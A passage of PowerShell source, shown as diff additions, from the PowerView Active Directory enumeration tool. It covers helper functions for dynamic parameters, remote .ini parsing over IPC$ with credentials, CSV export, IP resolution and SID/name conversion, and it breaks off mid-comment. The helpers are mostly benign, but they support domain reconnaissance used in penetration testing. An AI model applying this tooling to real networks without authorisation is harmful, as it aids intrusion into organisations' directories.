$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) + + # Allow for explicit casting from an IntPtr + # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! + $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', + 'PrivateScope, Public, Static, HideBySig, SpecialName', + $StructBuilder, + [Type[]] @([IntPtr])) + $ILGenerator2 = $ImplicitConverter.GetILGenerator() + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) + + $StructBuilder.CreateType() +} + + +######################################################## +# +# Misc. helpers +# +######################################################## + +Function New-DynamicParameter { +<# +.SYNOPSIS + +Helper function to simplify creating dynamic parameters. + + Adapated from https://beatcracker.wordpress.com/2015/08/10/dynamic-parameters-validateset-and-enums/. + Originally released under the Microsoft Public License (Ms-PL). + +.DESCRIPTION + +Helper function to simplify creating dynamic parameters. + +Example use cases: + Include parameters only if your environment dictates it + Include parameters depending on the value of a user-specified parameter + Provide tab completion and intellisense for parameters, depending on the environment + +Please keep in mind that all dynamic parameters you create, will not have corresponding variables created. + Use New-DynamicParameter with 'CreateVariables' switch in your main code block, + ('Process' for advanced functions) to create those variables. + Alternatively, manually reference $PSBoundParameters for the dynamic parameter value. + +This function has two operating modes: + +1. All dynamic parameters created in one pass using pipeline input to the function. This mode allows to create dynamic parameters en masse, +with one function call. There is no need to create and maintain custom RuntimeDefinedParameterDictionary. + +2. Dynamic parameters are created by separate function calls and added to the RuntimeDefinedParameterDictionary you created beforehand. +Then you output this RuntimeDefinedParameterDictionary to the pipeline. This allows more fine-grained control of the dynamic parameters, +with custom conditions and so on. + +.NOTES + +Credits to jrich523 and ramblingcookiemonster for their initial code and inspiration: + https://github.com/RamblingCookieMonster/PowerShell/blob/master/New-DynamicParam.ps1 + http://ramblingcookiemonster.wordpress.com/2014/11/27/quick-hits-credentials-and-dynamic-parameters/ + http://jrich523.wordpress.com/2013/05/30/powershell-simple-way-to-add-dynamic-parameters-to-advanced-function/ + +Credit to BM for alias and type parameters and their handling + +.PARAMETER Name + +Name of the dynamic parameter + +.PARAMETER Type + +Type for the dynamic parameter. Default is string + +.PARAMETER Alias + +If specified, one or more aliases to assign to the dynamic parameter + +.PARAMETER Mandatory + +If specified, set the Mandatory attribute for this dynamic parameter + +.PARAMETER Position + +If specified, set the Position attribute for this dynamic parameter + +.PARAMETER HelpMessage + +If specified, set the HelpMessage for this dynamic parameter + +.PARAMETER DontShow + +If specified, set the DontShow for this dynamic parameter. +This is the new PowerShell 4.0 attribute that hides parameter from tab-completion. +http://www.powershellmagazine.com/2013/07/29/pstip-hiding-parameters-from-tab-completion/ + +.PARAMETER ValueFromPipeline + +If specified, set the ValueFromPipeline attribute for this dynamic parameter + +.PARAMETER ValueFromPipelineByPropertyName + +If specified, set the ValueFromPipelineByPropertyName attribute for this dynamic parameter + +.PARAMETER ValueFromRemainingArguments + +If specified, set the ValueFromRemainingArguments attribute for this dynamic parameter + +.PARAMETER ParameterSetName + +If specified, set the ParameterSet attribute for this dynamic parameter. By default parameter is added to all parameters sets. + +.PARAMETER AllowNull + +If specified, set the AllowNull attribute of this dynamic parameter + +.PARAMETER AllowEmptyString + +If specified, set the AllowEmptyString attribute of this dynamic parameter + +.PARAMETER AllowEmptyCollection + +If specified, set the AllowEmptyCollection attribute of this dynamic parameter + +.PARAMETER ValidateNotNull + +If specified, set the ValidateNotNull attribute of this dynamic parameter + +.PARAMETER ValidateNotNullOrEmpty + +If specified, set the ValidateNotNullOrEmpty attribute of this dynamic parameter + +.PARAMETER ValidateRange + +If specified, set the ValidateRange attribute of this dynamic parameter + +.PARAMETER ValidateLength + +If specified, set the ValidateLength attribute of this dynamic parameter + +.PARAMETER ValidatePattern + +If specified, set the ValidatePattern attribute of this dynamic parameter + +.PARAMETER ValidateScript + +If specified, set the ValidateScript attribute of this dynamic parameter + +.PARAMETER ValidateSet + +If specified, set the ValidateSet attribute of this dynamic parameter + +.PARAMETER Dictionary + +If specified, add resulting RuntimeDefinedParameter to an existing RuntimeDefinedParameterDictionary. +Appropriate for custom dynamic parameters creation. + +If not specified, create and return a RuntimeDefinedParameterDictionary +Appropriate for a simple dynamic parameter creation. +#> + + [CmdletBinding(DefaultParameterSetName = 'DynamicParameter')] + Param ( + [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [string]$Name, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [System.Type]$Type = [int], + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [string[]]$Alias, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$Mandatory, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [int]$Position, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [string]$HelpMessage, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$DontShow, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValueFromPipeline, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValueFromPipelineByPropertyName, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValueFromRemainingArguments, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [string]$ParameterSetName = '__AllParameterSets', + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$AllowNull, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$AllowEmptyString, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$AllowEmptyCollection, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValidateNotNull, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValidateNotNullOrEmpty, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateCount(2,2)] + [int[]]$ValidateCount, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateCount(2,2)] + [int[]]$ValidateRange, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateCount(2,2)] + [int[]]$ValidateLength, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [string]$ValidatePattern, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [scriptblock]$ValidateScript, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [string[]]$ValidateSet, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [ValidateScript({ + if(!($_ -is [System.Management.Automation.RuntimeDefinedParameterDictionary])) + { + Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object' + } + $true + })] + $Dictionary = $false, + + [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] + [switch]$CreateVariables, + + [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] + [ValidateNotNullOrEmpty()] + [ValidateScript({ + # System.Management.Automation.PSBoundParametersDictionary is an internal sealed class, + # so one can't use PowerShell's '-is' operator to validate type. + if($_.GetType().Name -notmatch 'Dictionary') { + Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object' + } + $true + })] + $BoundParameters + ) + + Begin { + $InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary + function _temp { [CmdletBinding()] Param() } + $CommonParameters = (Get-Command _temp).Parameters.Keys + } + + Process { + if($CreateVariables) { + $BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ } + ForEach($Parameter in $BoundKeys) { + if ($Parameter) { + Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force + } + } + } + else { + $StaleKeys = @() + $StaleKeys = $PSBoundParameters.GetEnumerator() | + ForEach-Object { + if($_.Value.PSobject.Methods.Name -match '^Equals$') { + # If object has Equals, compare bound key and variable using it + if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) { + $_.Key + } + } + else { + # If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator + if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) { + $_.Key + } + } + } + if($StaleKeys) { + $StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)} + } + + # Since we rely solely on $PSBoundParameters, we don't have access to default values for unbound parameters + $UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator() | + # Find parameters that are belong to the current parameter set + Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } | + Select-Object -ExpandProperty Key | + # Find unbound parameters in the current parameter set + Where-Object { $PSBoundParameters.Keys -notcontains $_ } + + # Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified) + $tmp = $null + ForEach ($Parameter in $UnboundParameters) { + $DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0 + if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) { + $PSBoundParameters.$Parameter = $DefaultValue + } + } + + if($Dictionary) { + $DPDictionary = $Dictionary + } + else { + $DPDictionary = $InternalDictionary + } + + # Shortcut for getting local variables + $GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0} + + # Strings to match attributes and validation arguments + $AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$' + $ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$' + $AliasRegex = '^Alias$' + $ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute + + switch -regex ($PSBoundParameters.Keys) { + $AttributeRegex { + Try { + $ParameterAttribute.$_ = . $GetVar + } + Catch { + $_ + } + continue + } + } + + if($DPDictionary.Keys -contains $Name) { + $DPDictionary.$Name.Attributes.Add($ParameterAttribute) + } + else { + $AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute] + switch -regex ($PSBoundParameters.Keys) { + $ValidationRegex { + Try { + $ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop + $AttributeCollection.Add($ParameterOptions) + } + Catch { $_ } + continue + } + $AliasRegex { + Try { + $ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop + $AttributeCollection.Add($ParameterAlias) + continue + } + Catch { $_ } + } + } + $AttributeCollection.Add($ParameterAttribute) + $Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection) + $DPDictionary.Add($Name, $Parameter) + } + } + } + + End { + if(!$CreateVariables -and !$Dictionary) { + $DPDictionary + } + } +} + + +function Get-IniContent { +<# +.SYNOPSIS + +This helper parses an .ini file into a hashtable. + +Author: 'The Scripting Guys' +Modifications: @harmj0y (-Credential support) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection + +.DESCRIPTION + +Parses an .ini file into a hashtable. If -Credential is supplied, +then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file +is parsed, and then the connection is destroyed with Remove-RemoteConnection. + +.PARAMETER Path + +Specifies the path to the .ini file to parse. + +.PARAMETER OutputObject + +Switch. Output a custom PSObject instead of a hashtable. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +Get-IniContent C:\Windows\example.ini + +.EXAMPLE + +"C:\Windows\example.ini" | Get-IniContent -OutputObject + +Outputs the .ini details as a proper nested PSObject. + +.EXAMPLE + +"C:\Windows\example.ini" | Get-IniContent + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred + +.INPUTS + +String + +Accepts one or more .ini paths on the pipeline. + +.OUTPUTS + +Hashtable + +Ouputs a hashtable representing the parsed .ini file. + +.LINK + +https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('FullName', 'Name')] + [ValidateNotNullOrEmpty()] + [String[]] + $Path, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $OutputObject + ) + + BEGIN { + $MappedComputers = @{} + } + + PROCESS { + ForEach ($TargetPath in $Path) { + if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $HostComputer = (New-Object System.Uri($TargetPath)).Host + if (-not $MappedComputers[$HostComputer]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential + $MappedComputers[$HostComputer] = $True + } + } + + if (Test-Path -Path $TargetPath) { + if ($PSBoundParameters['OutputObject']) { + $IniObject = New-Object PSObject + } + else { + $IniObject = @{} + } + Switch -Regex -File $TargetPath { + "^\[(.+)\]" # Section + { + $Section = $matches[1].Trim() + if ($PSBoundParameters['OutputObject']) { + $Section = $Section.Replace(' ', '') + $SectionObject = New-Object PSObject + $IniObject | Add-Member Noteproperty $Section $SectionObject + } + else { + $IniObject[$Section] = @{} + } + $CommentCount = 0 + } + "^(;.*)$" # Comment + { + $Value = $matches[1].Trim() + $CommentCount = $CommentCount + 1 + $Name = 'Comment' + $CommentCount + if ($PSBoundParameters['OutputObject']) { + $Name = $Name.Replace(' ', '') + $IniObject.$Section | Add-Member Noteproperty $Name $Value + } + else { + $IniObject[$Section][$Name] = $Value + } + } + "(.+?)\s*=(.*)" # Key + { + $Name, $Value = $matches[1..2] + $Name = $Name.Trim() + $Values = $Value.split(',') | ForEach-Object { $_.Trim() } + + # if ($Values -isnot [System.Array]) { $Values = @($Values) } + + if ($PSBoundParameters['OutputObject']) { + $Name = $Name.Replace(' ', '') + $IniObject.$Section | Add-Member Noteproperty $Name $Values + } + else { + $IniObject[$Section][$Name] = $Values + } + } + } + $IniObject + } + } + } + + END { + # remove the IPC$ mappings + $MappedComputers.Keys | Remove-RemoteConnection + } +} + + +function Export-PowerViewCSV { +<# +.SYNOPSIS + +Converts objects into a series of comma-separated (CSV) strings and saves the +strings in a CSV file in a thread-safe manner. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This helper exports an -InputObject to a .csv in a thread-safe manner +using a mutex. This is so the various multi-threaded functions in +PowerView has a thread-safe way to export output to the same file. +Uses .NET IO.FileStream/IO.StreamWriter objects for speed. + +Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590 + +.PARAMETER InputObject + +Specifies the objects to export as CSV strings. + +.PARAMETER Path + +Specifies the path to the CSV output file. + +.PARAMETER Delimiter + +Specifies a delimiter to separate the property values. The default is a comma (,) + +.PARAMETER Append + +Indicates that this cmdlet adds the CSV output to the end of the specified file. +Without this parameter, Export-PowerViewCSV replaces the file contents without warning. + +.EXAMPLE + +Get-DomainUser | Export-PowerViewCSV -Path "users.csv" + +.EXAMPLE + +Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|' + +.INPUTS + +PSObject + +Accepts one or more PSObjects on the pipeline. + +.LINK + +http://poshcode.org/1590 +http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [System.Management.Automation.PSObject[]] + $InputObject, + + [Parameter(Mandatory = $True, Position = 1)] + [ValidateNotNullOrEmpty()] + [String] + $Path, + + [Parameter(Position = 2)] + [ValidateNotNullOrEmpty()] + [Char] + $Delimiter = ',', + + [Switch] + $Append + ) + + BEGIN { + $OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path']) + $Exists = [System.IO.File]::Exists($OutputPath) + + # mutex so threaded code doesn't stomp on the output file + $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex' + $Null = $Mutex.WaitOne() + + if ($PSBoundParameters['Append']) { + $FileMode = [System.IO.FileMode]::Append + } + else { + $FileMode = [System.IO.FileMode]::Create + $Exists = $False + } + + $CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) + $CSVWriter = New-Object System.IO.StreamWriter($CSVStream) + $CSVWriter.AutoFlush = $True + } + + PROCESS { + ForEach ($Entry in $InputObject) { + $ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation + + if (-not $Exists) { + # output the object field names as well + $ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) } + $Exists = $True + } + else { + # only output object field data + $ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) } + } + } + } + + END { + $Mutex.ReleaseMutex() + $CSVWriter.Dispose() + $CSVStream.Dispose() + } +} + + +function Resolve-IPAddress { +<# +.SYNOPSIS + +Resolves a given hostename to its associated IPv4 address. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Resolves a given hostename to its associated IPv4 address using +[Net.Dns]::GetHostEntry(). If no hostname is provided, the default +is the IP address of the localhost. + +.EXAMPLE + +Resolve-IPAddress -ComputerName SERVER + +.EXAMPLE + +@("SERVER1", "SERVER2") | Resolve-IPAddress + +.INPUTS + +String + +Accepts one or more IP address strings on the pipeline. + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +A custom PSObject with the ComputerName and IPAddress. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object { + if ($_.AddressFamily -eq 'InterNetwork') { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ComputerName' $Computer + $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString + $Out + } + } + } + catch { + Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address." + } + } + } +} + + +function ConvertTo-SID { +<# +.SYNOPSIS + +Converts a given user/group name to a security identifier (SID). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain + +.DESCRIPTION + +Converts a "DOMAIN\username" syntax to a security identifier (SID) +using System.Security.Principal.NTAccount's translate function. If alternate +credentials are supplied, then Get-ADObject is used to try to map the name +to a security identifier. + +.PARAMETER ObjectName + +The user/group name to convert, can be 'user' or 'DOMAIN\user' format. + +.PARAMETER Domain + +Specifies the domain to use for the translation, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the translation. + +.PARAMETER Credential + +Specifies an alternate credential to use for the translation. + +.EXAMPLE + +ConvertTo-SID 'DEV\dfm' + +.EXAMPLE + +'DEV\dfm','DEV\krbtgt' | ConvertTo-SID + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred + +.INPUTS + +String + +Accepts one or more username specification strings on the pipeline. + +.OUTPUTS + +String + +A string representing the SID of the translated name. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name', 'Identity')] + [String[]] + $ObjectName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $DomainSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential } + } + + PROCESS { + ForEach ($Object in $ObjectName) { + $Object = $Object -Replace '/','\' + + if ($PSBoundParameters['Credential']) { + $DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments + if ($DN) { + $UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $UserName = $DN.Split(',')[0].split('=')[1] + + $DomainSearcherArguments['Identity'] = $UserName + $DomainSearcherArguments['Domain'] = $UserDomain + $DomainSearcherArguments['Properties'] = 'objectsid' + Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid + } + } + else { + try { + if ($Object.Contains('\')) { + $Domain = $Object.Split('\')[0] + $Object = $Object.Split('\')[1] + } + elseif (-not $PSBoundParameters['Domain']) { + $DomainSearcherArguments = @{} + $Domain = (Get-Domain @DomainSearcherArguments).Name + } + + $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object)) + $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value + } + catch { + Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_" + } + } + } + } +} + + +function ConvertFrom-SID { +<# +.SYNOPSIS + +Converts a security identifier (SID) to a group/user name. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName + +.DESCRIPTION + +Converts a security identifier string (SID) to a group/user name +using Convert-ADName. + +.PARAMETER ObjectSid + +Specifies one or more SIDs to convert. + +.PARAMETER Domain + +Specifies the domain to use for the translation, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the translation. + +.PARAMETER Credential + +Specifies an alternate credential to use for the translation. + +.EXAMPLE + +ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 + +TESTLAB\harmj0y + +.EXAMPLE + +"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID + +TESTLAB\WINDOWS2$ +TESTLAB\harmj0y +BUILTIN\Distributed COM Users + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred + +TESTLAB\harmj0y + +.INPUTS + +String + +Accepts one or more SID strings on the pipeline. + +.OUTPUTS + +String + +The converted DOMAIN\username. +#> + + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SID')] + [ValidatePattern('^S-1-.*')] + [String[]] + $ObjectSid, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $ADNameArguments = @{} + if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } + } + + PROCESS { + ForEach ($TargetSid in $ObjectSid) { + $TargetSid = $TargetSid.trim('*') + try { + # try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330 + Switch ($TargetSid) { + 'S-1-0' { 'Null Authority' } + 'S-1-0-0' { 'Nobody' } + 'S-1-1' { 'World Authority' } + 'S-1-1-0' { 'Everyone' } + 'S-1-2' { 'Local Authority' } + 'S-1-2-0' { 'Local' } + 'S-1-2-1' { 'Console Logon ' } + 'S-1-3' { 'Creator Authority' } + 'S-1-3-0' { 'Creator Owner' } + 'S-1-3-1' { 'Creator Group' } + 'S-1-3-2' { 'Creator Owner Server' } + 'S-1-3-3' { 'Creator Group Server' } + 'S-1-3-4' { 'Owner Rights' } + 'S-1-4' { 'Non-unique Authority' } + 'S-1-5' { 'NT Authority' } + 'S-1-5-1' { 'Dialup' } + 'S-1-5-2' { 'Network' } + 'S-1-5-3' { 'Batch' } + 'S-1-5-4' { 'Interactive' } + 'S-1-5-6' { 'Service' } + 'S-1-5-7' { 'Anonymous' } + 'S-1-5-8' { 'Proxy' } + 'S-1-5-9' { 'Enterprise Domain Controllers' } + 'S-1-5-10' { 'Principal Self' } + 'S-1-5-11' { 'Authenticated Users' } + 'S-1-5-12' { 'Restricted Code' } + 'S-1-5-13' { 'Terminal Server Users' } + 'S-1-5-14' { 'Remote Interactive Logon' } + 'S-1-5-15' { 'This Organization ' } + 'S-1-5-17' { 'This Organization ' } + 'S-1-5-18' { 'Local System' } + 'S-1-5-19' { 'NT Authority' } + 'S-1-5-20' { 'NT Authority' } + 'S-1-5-80-0' { 'All Services ' } + 'S-1-5-32-544' { 'BUILTIN\Administrators' } + 'S-1-5-32-545' { 'BUILTIN\Users' } + 'S-1-5-32-546' { 'BUILTIN\Guests' } + 'S-1-5-32-547' { 'BUILTIN\Power Users' } + 'S-1-5-32-548' { 'BUILTIN\Account Operators' } + 'S-1-5-32-549' { 'BUILTIN\Server Operators' } + 'S-1-5-32-550' { 'BUILTIN\Print Operators' } + 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } + 'S-1-5-32-552' { 'BUILTIN\Replicators' } + 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } + 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } + 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } + 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } + 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } + 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } + 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } + 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } + 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } + 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } + 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } + 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } + 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } + 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } + 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } + 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } + 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } + 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } + Default { + Convert-ADName -Identity $TargetSid @ADNameArguments + } + } + } + catch { + Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_" + } + } + } +} + + +function Convert-ADName { +<# +.SYNOPSIS + +Converts Active Directory object names between a variety of formats. + +Author: Bill Stewart, Pasquale Lantella +Modifications: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in 